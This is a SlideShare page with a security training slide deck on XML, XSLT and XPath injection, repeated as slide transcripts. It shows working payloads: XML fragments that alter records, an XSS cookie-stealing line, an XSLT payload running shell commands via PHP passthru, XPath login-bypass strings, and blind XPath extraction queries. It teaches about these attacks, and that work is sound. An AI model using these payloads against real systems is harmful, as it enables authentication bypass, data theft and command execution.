SlideShare a Scribd company logo
XML & XPath Injection 
By AMol NAik (@amolnaik4)
Agenda 
 XML Basic 
 XML Injection 
 XXE Attack 
 XSLT Attacks 
 XPath Basics 
 XPath Injections 
 XPath Tools
 All codes are at: 
 https://bitbucket.org/null0x00/null-humla-xml- 
injection/ 
3
4
XML Basics 
 eXtensible Markup Language 
 Flexible text-based format 
 Presents structured info 
 Used for Data Exchange/Storage
XML Components 
Entity Attribute 
Root Element 
Node 
Node Value 
CDATA Section
XML – CDATA Section 
 Tells parser not to use markup for characters 
in this section 
 Examples: 
<![CDATA[if (c<10)]]> 
<![CDATA[<script>alert(1)</script>]>
XML Injections 
 In Node Attribute 
 In Node Value 
 In CDATA Section
XML Injection – Node Attribute 
Payload: 
<catalog> 
<book id=“101”> 
<author>Anonymous</author> 
<title>We Are Anonymous</title> 
<price>INR 200</price> 
</book> 
</catalog> 
102”><author>demo</author><title>Demo 
Demo</title><price>FREE</price></book><book id=“
XML Injection – Node Attribute 
<catalog> 
<book id=“102”> 
<author>demo</author> 
<title>Demo Demo</title> 
<price>FREE</price> 
</book> 
<book id=“101”> 
<author>Anonymous</author> 
<title>We Are Anonymous</title> 
<price>INR 200</price> 
</book> 
</catalog>
XML Injection – Node Value 
Payload: 
<catalog> 
<book id=“101”> 
<author>Anonymous</author> 
<title>We Are Anonymous</title> 
<price>INR 200</price> 
</book> 
</catalog> 
Anonymous</author><title>Demo Demo</title><price>FREE</price> 
</book><book id=“102”><author>
XML Injection – Node Value 
<catalog> 
<book id=“101”> 
<author>Anonymous</author> 
<title>Demo Demo</title> 
<price>FREE</price> 
</book> 
<book id=“102”> 
<author>demo</author> 
<title>We Are Anonymous</title> 
<price>INR 200</price> 
</book> 
</catalog>
XML Injection – CDATA 
Payload: 
<catalog> 
<book id=“101”> 
<author>Anonymous</author> 
<title>We Are Anonymous</title> 
<price><![CDATA[INR 200]]></price> 
</book> 
</catalog> 
INR 200]]></price></book><book id=“102”><author>demo</author> 
<title>Demo Demo</title><price><![CDATA[
XML Injection – CDATA 
<catalog> 
<book id=“101”> 
<author>Anonymous</author> 
<title>We Are Anonymous</title> 
<price><![CDATA[INR 200]]></price> 
</book> 
<book id=“102”> 
<author>demo</author> 
<title>Demo Demo</title> 
<price><![CDATA[FREE]]></price> 
</book> 
</catalog>
XML Entity 
 Variable 
 Define 
Shortcuts 
Standard Text 
Special Characters 
 Can be Internal/External
XML Entity
XXE Attack
XSLT 
 Extensible Stylesheet Language 
Transformations 
 Used for the transformation of XML 
documents 
 See this as CSS of XML
XSLT
XSLT Injection 
 XSS 
<script>alert(document.cookie)</script> 
 Code Execution 
<xsl:value-of select="php:function('passthru','ls -la /')"/>
XPath Basics 
 Language to select XML Nodes 
 Formats XML data as tree-structured values 
 Similar as SQL (in some sense)
XPath Syntax 
 Uses path expressions to select nodes or 
node-sets in an xml document 
Expression Description 
nodename Selects all child nodes of the named node 
/ Selects from root node 
// Selects nodes from the current node that 
match the selection no matter where they 
are 
. Selects current node 
.. Selects parent of the current node
XPath Predicates 
 Used to find a specific node or a node that 
contain specific value. 
 Always embedded in square brackets. 
Expression Result 
/Employees/Employee[1] Selects first ‘Employee’ element that is 
the child of ‘Employees’ element 
/Employees/Employee[last()] Selects last ‘Employee’ element that is 
the child of ‘Employees’ element 
/Employees/Employee[position()<3] Selects first 2 ‘Employee’ elements that 
are children of Employees element 
//Employee[@ID=‘1’] Selects all the ‘Employee’ elements that 
have an attribute named ‘ID’ with a value 
of ‘1’
XPath Location Path 
 Syntax: 
axisname::nodetest[predicate] 
an axis - defines the tree-relationship between the 
selected node & the current node 
nodetest – identifies node within an axis 
Zero or more predicates – further refines the 
selected node-set
XPath Location Path 
Example Result 
child::Employee Selects all ‘Employee’ node that are children of the 
current node 
attribute::id Selects the id attribute of the current node 
child::* Selects all children of the current node 
attribute::* Selects all attributes of the current node 
child::text() Selects all text child nodes of the current node 
child::node() Selects all child nodes of the current node 
descendant::Employees Selects all ‘Employees’ descendants of the current node
XPath Functions 
Function Name Description 
substring(str,start,len) Return the substring from the start position to the specified 
length 
string-length(str) Returns length of the string 
count(item,item,…) Returns count of the nodes 
starts-with(str1,str2) Return ‘True’ if str1 starts with str2, else ‘False’ 
contain(str1,str2) Return ‘True’ if str1 contains str2, else ‘False’ 
number(arg) Returns numeric value of agrument. Agrument could be 
boolean, string or node-set 
string(arg) Returns string value of agrument. Agrument could be boolean, 
string or node-set
XPath Injection 
 XPath Query: 
/Employees/Employee[UserName/text() = ‘user’ 
and Password/text() = ‘passwd’]/Type/text()
XPath Injection 
 No UserName & Password known: 
user =’ or ‘1’=‘1 
passwd = ’ or ‘1’=‘1 
/Employees/Employee[UserName/text() = ‘’ or 
‘1’=‘1’ and Password/text() = ‘’ or 
‘1’=‘1’]Type/text()
XPath Injection 
 UserName known: 
user =mbrown’ or ‘1’=‘1 
passwd = anything 
/Employees/Employee[UserName/text() = 
‘mbrown’ or ‘1’=‘1’ and Password/text() = 
‘anything’]Type/text()
XPath Injection 
 No UserName & Password known & 
Password is not vulnerable: 
user =’ or ‘1’=‘1’ or ‘1’=‘1 
passwd = anything 
/Employees/Employee[UserName/text() = ‘’ or 
‘1’=‘1’ or ‘1’=‘1’ and Password/text() = 
‘anything’]Type/text()
Blind XPath Injection 
 XPath Query: 
/Employees/Employee[@ID=‘_id_’] 
/Employees/Employee[@ID=‘1’ and ‘1’=‘1’] 
=>TRUE 
/Employees/Employee[@ID=‘1’ and ‘1’=‘2’] 
=>FALSE
Blind XPath Injection 
 Extracting XML file structure 
Get count of all nodes 
▪ count(/*/child::*) 
Get name of first node 
▪ name(/*/child::*[1]) 
Get count of child nodes of first node 
▪ count(/*/child::*[1]/child::*)
Blind XPath Injection 
 Extracting XML file structure 
Get name of first child node of first node 
▪ name(/*/child::*[1]/child::*[1]) 
Get value of first child node of first node 
▪ /*/child::*[1]/child::*[1]/text() 
Repeat the process for all child nodes
Blind XPath Injection 
 Extracting XML file structure 
Check if the first character of value of first child 
node of first node is ‘J’ 
/Employees/Employee[@ID=‘123’ or 
substring((/*/child::*[1]/child::*[1]/text()),1,1)=‘J’ 
]
XPath Injection Tools 
 XPath Blind Explorer 
 Xcat 
 xmlchor - IronWASP Plugin 
 recon-ng 
xpath_bruter
References 
 XPath Injection 
http://www.slideshare.net/robertosl81/xpath-injection- 
3547860 
 Hacking XPath 2.0 
http://www.slideshare.net/michelemanzotti/hacki 
ng-xpath-20 
 Blind XPath Injection 
http://2stop.me/S%C3%A9curit%C3%A9%20Infor 
matique/Web/EN%20- 
%20Blind%20Xpath%20injection.pdf
Thank You !! 
AMol NAik 
http://twitter.com/amolnaik4 
http://amolnaik4.blogspot.com

More Related Content

PPTX
XXE - XML External Entity Attack
PPTX
PPTX
OWASP A4 XML External Entities (XXE)
PPT
A Brief Introduction in SQL Injection
PDF
jQuery Tutorial For Beginners | Developing User Interface (UI) Using jQuery |...
PPT
MYSQL - PHP Database Connectivity
PPTX
Lab #2: Introduction to Javascript
XXE - XML External Entity Attack
OWASP A4 XML External Entities (XXE)
A Brief Introduction in SQL Injection
jQuery Tutorial For Beginners | Developing User Interface (UI) Using jQuery |...
MYSQL - PHP Database Connectivity
Lab #2: Introduction to Javascript

What's hot (20)

PDF
Building Advanced XSS Vectors
PPTX
jQuery
PPT
PHP POWERPOINT SLIDES
PPTX
Selenium locators: ID, Name, xpath, CSS Selector advance methods
PDF
Introduction to web programming with JavaScript
PPTX
SQL Injection
PPTX
Express js
PPTX
XML External Entity (XXE)
PDF
Advanced SQL injection to operating system full control (whitepaper)
PDF
Sql Injection - Vulnerability and Security
PPTX
Event In JavaScript
PPTX
PPTX
Sql injections - with example
PPT
Advanced Cascading Style Sheets
PDF
Understanding Windows Access Token Manipulation
PDF
Html,javascript & css
PPTX
Sql injection
PDF
DNS exfiltration using sqlmap
PPT
HTTP Basics
PDF
NodeJS for Beginner
Building Advanced XSS Vectors
jQuery
PHP POWERPOINT SLIDES
Selenium locators: ID, Name, xpath, CSS Selector advance methods
Introduction to web programming with JavaScript
SQL Injection
Express js
XML External Entity (XXE)
Advanced SQL injection to operating system full control (whitepaper)
Sql Injection - Vulnerability and Security
Event In JavaScript
Sql injections - with example
Advanced Cascading Style Sheets
Understanding Windows Access Token Manipulation
Html,javascript & css
Sql injection
DNS exfiltration using sqlmap
HTTP Basics
NodeJS for Beginner
Ad

Similar to XML & XPath Injections (20)

PDF
Hacking XPATH 2.0
PPT
XPath Injection
PPTX
Xml session
PPTX
Selenium-Locators
PPT
Advance xpath
PPTX
Javascripting.pptx
PPTX
Web Security Extensible Markup Language.pptx
PDF
Tame cloud complexity with F# powered DSLs (build stuff)
ODP
Play framework training by Neelkanth Sachdeva @ Scala Traits Event , New Delh...
ODP
Play framework training by Neelkanth Sachdeva @ Scala traits event , New Delh...
PPTX
Java Annotations and Pre-processing
PDF
XML Support: Specifications and Development
PPT
Apache Velocity
PPT
Os Bubna
PPT
Apache Velocity
PDF
Twig Brief, Tips&Tricks
PPTX
Structure & Union in C++
PDF
streams and files
PPTX
EXPRESSIONS IN JSP and Expression language in JSP
PDF
Broadleaf Presents Thymeleaf
Hacking XPATH 2.0
XPath Injection
Xml session
Selenium-Locators
Advance xpath
Javascripting.pptx
Web Security Extensible Markup Language.pptx
Tame cloud complexity with F# powered DSLs (build stuff)
Play framework training by Neelkanth Sachdeva @ Scala Traits Event , New Delh...
Play framework training by Neelkanth Sachdeva @ Scala traits event , New Delh...
Java Annotations and Pre-processing
XML Support: Specifications and Development
Apache Velocity
Os Bubna
Apache Velocity
Twig Brief, Tips&Tricks
Structure & Union in C++
streams and files
EXPRESSIONS IN JSP and Expression language in JSP
Broadleaf Presents Thymeleaf
Ad

Recently uploaded (20)

PDF
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
cuic standard and advanced reporting.pdf
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
DOCX
The AUB Centre for AI in Media Proposal.docx
PPTX
MYSQL Presentation for SQL database connectivity
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Review of recent advances in non-invasive hemoglobin estimation
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PPTX
Cloud computing and distributed systems.
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PPTX
Spectroscopy.pptx food analysis technology
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
Digital-Transformation-Roadmap-for-Companies.pptx
Spectral efficient network and resource selection model in 5G networks
Unlocking AI with Model Context Protocol (MCP)
Dropbox Q2 2025 Financial Results & Investor Presentation
cuic standard and advanced reporting.pdf
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
The AUB Centre for AI in Media Proposal.docx
MYSQL Presentation for SQL database connectivity
The Rise and Fall of 3GPP – Time for a Sabbatical?
Review of recent advances in non-invasive hemoglobin estimation
“AI and Expert System Decision Support & Business Intelligence Systems”
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Cloud computing and distributed systems.
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Chapter 3 Spatial Domain Image Processing.pdf
Spectroscopy.pptx food analysis technology
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx

XML & XPath Injections

  • 1. XML & XPath Injection By AMol NAik (@amolnaik4)
  • 2. Agenda  XML Basic  XML Injection  XXE Attack  XSLT Attacks  XPath Basics  XPath Injections  XPath Tools
  • 3.  All codes are at:  https://bitbucket.org/null0x00/null-humla-xml- injection/ 3
  • 4. 4
  • 5. XML Basics  eXtensible Markup Language  Flexible text-based format  Presents structured info  Used for Data Exchange/Storage
  • 6. XML Components Entity Attribute Root Element Node Node Value CDATA Section
  • 7. XML – CDATA Section  Tells parser not to use markup for characters in this section  Examples: <![CDATA[if (c<10)]]> <![CDATA[<script>alert(1)</script>]>
  • 8. XML Injections  In Node Attribute  In Node Value  In CDATA Section
  • 9. XML Injection – Node Attribute Payload: <catalog> <book id=“101”> <author>Anonymous</author> <title>We Are Anonymous</title> <price>INR 200</price> </book> </catalog> 102”><author>demo</author><title>Demo Demo</title><price>FREE</price></book><book id=“
  • 10. XML Injection – Node Attribute <catalog> <book id=“102”> <author>demo</author> <title>Demo Demo</title> <price>FREE</price> </book> <book id=“101”> <author>Anonymous</author> <title>We Are Anonymous</title> <price>INR 200</price> </book> </catalog>
  • 11. XML Injection – Node Value Payload: <catalog> <book id=“101”> <author>Anonymous</author> <title>We Are Anonymous</title> <price>INR 200</price> </book> </catalog> Anonymous</author><title>Demo Demo</title><price>FREE</price> </book><book id=“102”><author>
  • 12. XML Injection – Node Value <catalog> <book id=“101”> <author>Anonymous</author> <title>Demo Demo</title> <price>FREE</price> </book> <book id=“102”> <author>demo</author> <title>We Are Anonymous</title> <price>INR 200</price> </book> </catalog>
  • 13. XML Injection – CDATA Payload: <catalog> <book id=“101”> <author>Anonymous</author> <title>We Are Anonymous</title> <price><![CDATA[INR 200]]></price> </book> </catalog> INR 200]]></price></book><book id=“102”><author>demo</author> <title>Demo Demo</title><price><![CDATA[
  • 14. XML Injection – CDATA <catalog> <book id=“101”> <author>Anonymous</author> <title>We Are Anonymous</title> <price><![CDATA[INR 200]]></price> </book> <book id=“102”> <author>demo</author> <title>Demo Demo</title> <price><![CDATA[FREE]]></price> </book> </catalog>
  • 15. XML Entity  Variable  Define Shortcuts Standard Text Special Characters  Can be Internal/External
  • 18. XSLT  Extensible Stylesheet Language Transformations  Used for the transformation of XML documents  See this as CSS of XML
  • 19. XSLT
  • 20. XSLT Injection  XSS <script>alert(document.cookie)</script>  Code Execution <xsl:value-of select="php:function('passthru','ls -la /')"/>
  • 21. XPath Basics  Language to select XML Nodes  Formats XML data as tree-structured values  Similar as SQL (in some sense)
  • 22. XPath Syntax  Uses path expressions to select nodes or node-sets in an xml document Expression Description nodename Selects all child nodes of the named node / Selects from root node // Selects nodes from the current node that match the selection no matter where they are . Selects current node .. Selects parent of the current node
  • 23. XPath Predicates  Used to find a specific node or a node that contain specific value.  Always embedded in square brackets. Expression Result /Employees/Employee[1] Selects first ‘Employee’ element that is the child of ‘Employees’ element /Employees/Employee[last()] Selects last ‘Employee’ element that is the child of ‘Employees’ element /Employees/Employee[position()<3] Selects first 2 ‘Employee’ elements that are children of Employees element //Employee[@ID=‘1’] Selects all the ‘Employee’ elements that have an attribute named ‘ID’ with a value of ‘1’
  • 24. XPath Location Path  Syntax: axisname::nodetest[predicate] an axis - defines the tree-relationship between the selected node & the current node nodetest – identifies node within an axis Zero or more predicates – further refines the selected node-set
  • 25. XPath Location Path Example Result child::Employee Selects all ‘Employee’ node that are children of the current node attribute::id Selects the id attribute of the current node child::* Selects all children of the current node attribute::* Selects all attributes of the current node child::text() Selects all text child nodes of the current node child::node() Selects all child nodes of the current node descendant::Employees Selects all ‘Employees’ descendants of the current node
  • 26. XPath Functions Function Name Description substring(str,start,len) Return the substring from the start position to the specified length string-length(str) Returns length of the string count(item,item,…) Returns count of the nodes starts-with(str1,str2) Return ‘True’ if str1 starts with str2, else ‘False’ contain(str1,str2) Return ‘True’ if str1 contains str2, else ‘False’ number(arg) Returns numeric value of agrument. Agrument could be boolean, string or node-set string(arg) Returns string value of agrument. Agrument could be boolean, string or node-set
  • 27. XPath Injection  XPath Query: /Employees/Employee[UserName/text() = ‘user’ and Password/text() = ‘passwd’]/Type/text()
  • 28. XPath Injection  No UserName & Password known: user =’ or ‘1’=‘1 passwd = ’ or ‘1’=‘1 /Employees/Employee[UserName/text() = ‘’ or ‘1’=‘1’ and Password/text() = ‘’ or ‘1’=‘1’]Type/text()
  • 29. XPath Injection  UserName known: user =mbrown’ or ‘1’=‘1 passwd = anything /Employees/Employee[UserName/text() = ‘mbrown’ or ‘1’=‘1’ and Password/text() = ‘anything’]Type/text()
  • 30. XPath Injection  No UserName & Password known & Password is not vulnerable: user =’ or ‘1’=‘1’ or ‘1’=‘1 passwd = anything /Employees/Employee[UserName/text() = ‘’ or ‘1’=‘1’ or ‘1’=‘1’ and Password/text() = ‘anything’]Type/text()
  • 31. Blind XPath Injection  XPath Query: /Employees/Employee[@ID=‘_id_’] /Employees/Employee[@ID=‘1’ and ‘1’=‘1’] =>TRUE /Employees/Employee[@ID=‘1’ and ‘1’=‘2’] =>FALSE
  • 32. Blind XPath Injection  Extracting XML file structure Get count of all nodes ▪ count(/*/child::*) Get name of first node ▪ name(/*/child::*[1]) Get count of child nodes of first node ▪ count(/*/child::*[1]/child::*)
  • 33. Blind XPath Injection  Extracting XML file structure Get name of first child node of first node ▪ name(/*/child::*[1]/child::*[1]) Get value of first child node of first node ▪ /*/child::*[1]/child::*[1]/text() Repeat the process for all child nodes
  • 34. Blind XPath Injection  Extracting XML file structure Check if the first character of value of first child node of first node is ‘J’ /Employees/Employee[@ID=‘123’ or substring((/*/child::*[1]/child::*[1]/text()),1,1)=‘J’ ]
  • 35. XPath Injection Tools  XPath Blind Explorer  Xcat  xmlchor - IronWASP Plugin  recon-ng xpath_bruter
  • 36. References  XPath Injection http://www.slideshare.net/robertosl81/xpath-injection- 3547860  Hacking XPath 2.0 http://www.slideshare.net/michelemanzotti/hacki ng-xpath-20  Blind XPath Injection http://2stop.me/S%C3%A9curit%C3%A9%20Infor matique/Web/EN%20- %20Blind%20Xpath%20injection.pdf
  • 37. Thank You !! AMol NAik http://twitter.com/amolnaik4 http://amolnaik4.blogspot.com